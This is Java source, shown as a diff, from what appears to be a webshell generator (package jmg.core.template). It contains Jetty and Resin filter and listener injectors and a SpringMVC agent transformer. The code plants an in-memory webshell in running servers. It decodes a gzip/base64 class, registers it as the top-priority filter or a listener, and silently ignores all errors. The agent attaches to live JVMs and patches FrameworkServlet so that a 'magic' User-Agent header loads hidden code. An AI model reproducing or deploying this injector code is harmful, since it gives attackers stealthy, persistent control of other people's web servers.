public JettyFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public void addFilter(Object context, Object magicFilter) throws ClassNotFoundException, InvocationTargetException, NoSuchMethodException, IllegalAccessException, UnsupportedEncodingException {
String filterName = getFilterName(getClassName());
Class filterClass = magicFilter.getClass();
try {
Object servletHandler = getFV(context, "_servletHandler");
// 1. 判断是否已经注入
if (isInjected(servletHandler, filterClass.getName())) {
return;
}
Class filterHolderClass = context.getClass().getClassLoader().loadClass("org.eclipse.jetty.servlet.FilterHolder");
Constructor constructor = filterHolderClass.getConstructor(Class.class);
Object filterHolder = constructor.newInstance(filterClass);
invokeMethod(filterHolder, "setName", new Class[]{String.class}, new Object[]{filterName});
// 2. 注入内存马Filter
invokeMethod(servletHandler, "addFilterWithMapping", new Class[]{filterHolderClass, String.class, int.class}, new Object[]{filterHolder, getUrlPattern(), 1});
// 3. 修改Filter的优先级为第一位
Object filterMaps = getFV(servletHandler, "_filterMappings");
Object[] tmpFilterMaps = new Object[Array.getLength(filterMaps)];
int n = 1;
for (int i = 0; i < Array.getLength(filterMaps); i++) {
Object filter = Array.get(filterMaps, i);
String _filterName = (String) getFV(filter, "_filterName");
if (_filterName.contains(filterClass.getName())) {
tmpFilterMaps[0] = filter;
} else {
tmpFilterMaps[n] = filter;
n++;
}
}
for (int j = 0; j < tmpFilterMaps.length; j++) {
Array.set(filterMaps, j, tmpFilterMaps[j]);
}
// 4. 解决 jetty filterChainsCache 导致 filter 内存马连接失败的问题
invokeMethod(servletHandler, "invalidateChainsCache");
} catch (Exception ignored) {
}
}
List<Object> getContext() {
List<Object> contexts = new ArrayList();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
for (Thread thread : threads) {
try {
Object contextClassLoader = getContextClassLoader(thread);
if (isWebAppClassLoader(contextClassLoader)) {
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
} else if (isHttpConnection(thread)) {
contexts.add(getContextFromHttpConnection(thread));
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getContextClassLoader(Thread thread) throws Exception {
return invokeMethod(thread, "getContextClassLoader");
}
private boolean isWebAppClassLoader(Object classLoader) {
return classLoader.getClass().getName().contains("WebAppClassLoader");
}
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
Object context = getFV(classLoader, "_context");
Object handler = getFV(context, "_servletHandler");
return getFV(handler, "_contextHandler");
}
private boolean isHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
return true;
}
}
}
return false;
}
private Object getContextFromHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
return getFV(servletContext, "this$0");
}
}
}
throw new Exception("HttpConnection not found");
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFV(context, "_classLoader"));
}
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Exception e1) {
e1.printStackTrace();
}
}
return filter;
}
public static boolean isInjected(Object servletHandler, String filterClassName) throws Exception {
try {
Object filterMaps = getFV(servletHandler, "_filterMappings");
for (int i = 0; i < Array.getLength(filterMaps); i++) {
Object filter = Array.get(filterMaps, i);
String filterName = (String) getFV(filter, "_filterName");
if (filterName.contains(filterClassName)) {
return true;
}
}
} catch (Exception e) {
return false;
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,255 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.EventListener;
import java.util.List;
import java.util.zip.GZIPInputStream;
/**
* tested v7、v8、v9
*/
public class JettyListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new JettyListenerInjectorTpl();
}
public JettyListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
addListener(context, listener);
}
} catch (Exception e) {
}
}
List<Object> getContext() {
List<Object> contexts = new ArrayList();
Thread[] threads = Thread.getAllStackTraces().keySet().toArray(new Thread[0]);
for (Thread thread : threads) {
try {
Object contextClassLoader = getContextClassLoader(thread);
if (isWebAppClassLoader(contextClassLoader)) {
contexts.add(getContextFromWebAppClassLoader(contextClassLoader));
} else if (isHttpConnection(thread)) {
contexts.add(getContextFromHttpConnection(thread));
}
} catch (Exception ignored) {
}
}
return contexts;
}
private Object getContextClassLoader(Thread thread) throws Exception {
return invokeMethod(thread, "getContextClassLoader");
}
private boolean isWebAppClassLoader(Object classLoader) {
return classLoader.getClass().getName().contains("WebAppClassLoader");
}
private Object getContextFromWebAppClassLoader(Object classLoader) throws Exception {
Object context = getFV(classLoader, "_context");
Object handler = getFV(context, "_servletHandler");
return getFV(handler, "_contextHandler");
}
private boolean isHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
return true;
}
}
}
return false;
}
private Object getContextFromHttpConnection(Thread thread) throws Exception {
Object threadLocals = getFV(thread, "threadLocals");
Object table = getFV(threadLocals, "table");
for (int i = 0; i < Array.getLength(table); ++i) {
Object entry = Array.get(table, i);
if (entry != null) {
Object httpConnection = getFV(entry, "value");
if (httpConnection != null && httpConnection.getClass().getName().contains("HttpConnection")) {
Object httpChannel = invokeMethod(httpConnection, "getHttpChannel");
Object request = invokeMethod(httpChannel, "getRequest");
Object session = invokeMethod(request, "getSession");
Object servletContext = invokeMethod(session, "getServletContext");
return getFV(servletContext, "this$0");
}
}
}
throw new Exception("HttpConnection not found");
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFV(context, "_classLoader"));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public static void addListener(Object context, Object listener) {
try {
if (isInjected(context, listener.getClass().getName())) {
return;
}
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
} catch (Exception e) {
}
}
public static boolean isInjected(Object context, String className) throws Exception {
try {
// jetty v8、 v9
EventListener[] eventListeners = (EventListener[]) invokeMethod(context, "getEventListeners");
for (int i = 0; i < eventListeners.length; i++) {
if (eventListeners[i].getClass().getName().contains(className)) {
return true;
}
}
} catch (Exception e) {
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,226 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.zip.GZIPInputStream;
public class ResinFilterInjectorTpl {
public String getUrlPattern() {
return "/*";
}
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new ResinFilterInjectorTpl();
}
public ResinFilterInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object filter = getFilter(context);
addFilter(context, filter);
}
} catch (Exception ignored) {
}
}
private void addFilter(Object context, Object filter) throws Exception {
String filterClassName = filter.getClass().getName();
if (!isInjected(context, filterClassName)) {
try {
Class filterMappingClass;
try {
filterMappingClass = Thread.currentThread().getContextClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
} catch (Exception e) {
filterMappingClass = context.getClass().getClassLoader().loadClass("com.caucho.server.dispatch.FilterMapping");
}
Object filterMappingImpl = filterMappingClass.newInstance();
invokeMethod(filterMappingImpl, "setFilterName", new Class[]{String.class}, new Object[]{getFilterName(filterClassName)});
invokeMethod(filterMappingImpl, "setFilterClass", new Class[]{String.class}, new Object[]{filterClassName});
Object urlPattern = invokeMethod(filterMappingImpl, "createUrlPattern");
invokeMethod(urlPattern, "addText", new Class[]{String.class}, new Object[]{getUrlPattern()});
invokeMethod(urlPattern, "init");
invokeMethod(context, "addFilterMapping", new Class[]{filterMappingClass}, new Object[]{filterMappingImpl});
invokeMethod(context, "clearCache");
} catch (Throwable e) {
}
}
}
public List<Object> getContext() {
List<Object> contexts = new ArrayList();
HashSet<Object> visited = new HashSet();
try {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
if (webApp != null && visited.add(webApp)) {
contexts.add(webApp);
}
}
} catch (Exception e) {
// Handle exception
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFV(context, "_classLoader"));
}
}
private Object getFilter(Object context) throws Exception {
Object filter = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
filter = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
filter = clazz.newInstance();
} catch (Throwable tt) {
}
}
return filter;
}
public String getFilterName(String className) {
if (className.contains(".")) {
int lastDotIndex = className.lastIndexOf(".");
return className.substring(lastDotIndex + 1);
} else {
return className;
}
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
Map<String, Object> filters = (Map) getFV(getFV(context, "_filterManager"), "_filters");
for (String key : filters.keySet()) {
if (key.contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,193 @@
package jmg.core.template;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.ArrayList;
import java.util.HashSet;
import java.util.List;
import java.util.zip.GZIPInputStream;
public class ResinListenerInjectorTpl {
public String getClassName() {
return "";
}
public String getBase64String() throws IOException {
return "";
}
static {
new ResinListenerInjectorTpl();
}
public ResinListenerInjectorTpl() {
try {
List<Object> contexts = getContext();
for (Object context : contexts) {
Object listener = getListener(context);
injectListener(context, listener);
}
} catch (Exception ignored) {
}
}
private void injectListener(Object context, Object listener) throws Exception {
if (!isInjected(context, listener.getClass().getName())) {
invokeMethod(context, "addListenerObject", new Class[]{Object.class, boolean.class}, new Object[]{listener, true});
// 清除缓存,否则某些 uri 无法连接
invokeMethod(context, "clearCache");
}
}
public List<Object> getContext() {
List<Object> contexts = new ArrayList();
HashSet<Object> visited = new HashSet();
try {
Thread[] threads = (Thread[]) invokeMethod(Thread.class, "getThreads", new Class[0], new Object[0]);
for (Thread thread : threads) {
Class<?> servletInvocationClass = thread.getContextClassLoader().loadClass("com.caucho.server.dispatch.ServletInvocation");
Object contextRequest = servletInvocationClass.getMethod("getContextRequest").invoke(null);
Object webApp = invokeMethod(contextRequest, "getWebApp", new Class[0], new Object[0]);
if (webApp != null && visited.add(webApp)) {
contexts.add(webApp);
}
}
} catch (Exception e) {
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
} catch (Exception e) {
return ((ClassLoader) getFV(context, "_classLoader"));
}
}
private Object getListener(Object context) throws Exception {
Object listener = null;
ClassLoader classLoader = getWebAppClassLoader(context);
try {
listener = classLoader.loadClass(getClassName()).newInstance();
} catch (Exception e) {
try {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
Class clazz = (Class) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
listener = clazz.newInstance();
} catch (Throwable tt) {
}
}
return listener;
}
public boolean isInjected(Object context, String evilClassName) throws Exception {
ArrayList arrayList = (ArrayList) getFV(context, "_requestListeners");
for (int i = 0; i < arrayList.size(); i++) {
if (arrayList.get(i).getClass().getName().contains(evilClassName)) {
return true;
}
}
return false;
}
static byte[] decodeBase64(String base64Str) throws ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class<?> decoderClass;
try {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
}
}
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
ByteArrayInputStream in = new ByteArrayInputStream(compressedData);
GZIPInputStream ungzip = new GZIPInputStream(in);
byte[] buffer = new byte[256];
int n;
while ((n = ungzip.read(buffer)) >= 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
}
static Object getFV(Object obj, String fieldName) throws Exception {
Field field = getF(obj, fieldName);
field.setAccessible(true);
return field.get(obj);
}
static Field getF(Object obj, String fieldName) throws NoSuchFieldException {
Class<?> clazz = obj.getClass();
while (clazz != null) {
try {
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
return field;
} catch (NoSuchFieldException e) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(fieldName);
}
static synchronized Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
public static synchronized Object invokeMethod(final Object obj, final String methodName, Class[] paramClazz, Object[] param) throws NoSuchMethodException, InvocationTargetException, IllegalAccessException {
Class clazz = (obj instanceof Class) ? (Class) obj : obj.getClass();
Method method = null;
Class tempClass = clazz;
while (method == null && tempClass != null) {
try {
if (paramClazz == null) {
// Get all declared methods of the class
Method[] methods = tempClass.getDeclaredMethods();
for (int i = 0; i < methods.length; i++) {
if (methods[i].getName().equals(methodName) && methods[i].getParameterTypes().length == 0) {
method = methods[i];
break;
}
}
} else {
method = tempClass.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
tempClass = tempClass.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException(methodName);
}
method.setAccessible(true);
if (obj instanceof Class) {
try {
return method.invoke(null, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
} else {
try {
return method.invoke(obj, param);
} catch (IllegalAccessException e) {
throw new RuntimeException(e.getMessage());
}
}
}
}
@@ -0,0 +1,241 @@
package jmg.core.template;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.io.File;
import java.io.FileOutputStream;
import java.io.InputStream;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
import java.lang.management.ManagementFactory;
import java.lang.reflect.Method;
import java.net.URL;
import java.net.URLClassLoader;
import java.security.ProtectionDomain;
import java.util.ArrayList;
import java.util.List;
public class SpringMVCAgentTransformer implements ClassFileTransformer {
public static final String targetClassName = "org.springframework.web.servlet.FrameworkServlet";
public static final String targetMethodName = "service";
public String injectHeaderName = "User-Agent";
public String injectHeaderValue = "magic";
public String getInjectorCode() {
return "";
}
public static void agentmain(String args, Instrumentation instrumentation) throws UnmodifiableClassException {
instrumentation.addTransformer(new SpringMVCAgentTransformer(), true);
for (Class clz : instrumentation.getAllLoadedClasses()) {
if (!clz.getName().equals(targetClassName)) continue;
instrumentation.retransformClasses(clz);
}
}
@Override
public byte[] transform(ClassLoader loader, String className, Class<?> classBeingRedefined, ProtectionDomain protectionDomain, byte[] classfileBuffer) throws IllegalClassFormatException {
className = className.replace("/", ".");
if (className.equals(targetClassName) && classBeingRedefined != null) {
try {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(classBeingRedefined));
CtClass ctClass = pool.getCtClass(className);
CtMethod ctMethod = ctClass.getDeclaredMethod(targetMethodName);
String injectorCode = getInjectorCode();
String code = String.format("try {\n" +
" if ($1.getHeader(\"%s\") != null && $1.getHeader(\"%s\").contains(\"%s\")) {\n" +
" String injectorCode = \"%s\";\n" +
" byte[] byteArray;\n" +
" try {\n" +
" Class base64DecoderClazz = Class.forName(\"sun.misc.BASE64Decoder\");\n" +
" byteArray = (byte[]) base64DecoderClazz.getMethod(\"decodeBuffer\", new Class[]{String.class}).invoke(base64DecoderClazz.newInstance(), new Object[]{injectorCode});\n" +
" } catch (Throwable e) {\n" +
" Class base64Clazz = Class.forName(\"java.util.Base64\");\n" +
" Object decoder = base64Clazz.getMethod(\"getDecoder\", null).invoke(base64Clazz, null);\n" +
" byteArray = (byte[]) decoder.getClass().getMethod(\"decode\", new Class[]{String.class}).invoke(decoder, new Object[]{injectorCode});\n" +
" }\n" +
" java.net.URLClassLoader classLoader = new java.net.URLClassLoader(new java.net.URL[0], Thread.currentThread().getContextClassLoader());\n" +
" java.lang.reflect.Method method = ClassLoader.class.getDeclaredMethod(\"defineClass\", new Class[]{byte[].class, int.class, int.class});\n" +
" method.setAccessible(true);\n" +
" Class clazz = (Class) method.invoke(classLoader, new Object[]{byteArray, new Integer(0), new Integer(byteArray.length)});\n" +
" clazz.newInstance();\n" +
" }\n" +
" } catch (Exception e) {\n" +
" e.printStackTrace();\n" +
" }", injectHeaderName, injectHeaderName, injectHeaderValue, injectorCode);
ctMethod.insertBefore(code);
byte[] bytes = ctClass.toBytecode();
ctClass.detach();
return bytes;
} catch (Exception e) {
e.printStackTrace();
return new byte[0];
}
}
return new byte[0];
}
private static Class virtualMachineClass;
private static Class virtualMachineDescriptorClass;
private static List<Object> vms;
static {
try {
// 获取 tools.jar 的路径
StringBuilder toolsJarPath = new StringBuilder();
toolsJarPath.append(System.getProperty("java.home"))
.append(File.separator)
.append("..")
.append(File.separator)
.append("lib")
.append(File.separator)
.append("tools.jar");
File toolsJarFile = new File(toolsJarPath.toString());
// 如果 JDK 目录下没有找到 tools.jar(纯JRE
if (!toolsJarFile.exists() || !toolsJarFile.isFile()) {
// 释放内置的 tools.jar
InputStream jarStream = SpringMVCAgentTransformer.class.getClassLoader().getResourceAsStream("tools.jar");
toolsJarFile = File.createTempFile("tools", ".jar");
FileOutputStream out = null;
try {
out = new FileOutputStream(toolsJarFile);
byte[] buffer = new byte[1024];
int bytesRead;
while ((bytesRead = jarStream.read(buffer)) != -1) {
out.write(buffer, 0, bytesRead);
}
} finally {
if (out != null) {
out.close();
}
}
}
// Load the VirtualMachine and VirtualMachineDescriptor classes
URL url = toolsJarFile.toURI().toURL();
URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{url});
virtualMachineClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachine");
virtualMachineDescriptorClass = urlClassLoader.loadClass("com.sun.tools.attach.VirtualMachineDescriptor");
vms = (List) virtualMachineClass.getMethod("list").invoke(virtualMachineClass);
} catch (Exception e) {
e.printStackTrace();
}
}
/*
参数说明见 TomcatAgentTransformer
*/
public static void main(String[] args) throws Exception {
if (args.length == 0) {
listAllJvmPids();
}
else if (args.length == 1) {
String arg = args[0];
if (arg.equalsIgnoreCase("all")) {
for (String jvmProcessId : getAllJvmPids()) {
attachAgentToTargetJvm(jvmProcessId);
}
}
else {
try {
Integer.parseInt(arg);
attachAgentToTargetJvm(arg);
}
catch (NumberFormatException e) {
for (String jvmProcessId : getJvmPidsByDisplayName(arg)) {
attachAgentToTargetJvm(jvmProcessId);
}
}
}
} else {
throw new IllegalArgumentException("Too many arguments. Expected none, 'all', a JVM process ID, or a displayName.");
}
}
public static List<String> getAllJvmPids() throws Exception {
List<String> pids = new ArrayList<>();
for (Object vm : vms) {
Method getId = virtualMachineDescriptorClass.getDeclaredMethod("id");
String id = (String) getId.invoke(vm);
pids.add(id);
}
return pids;
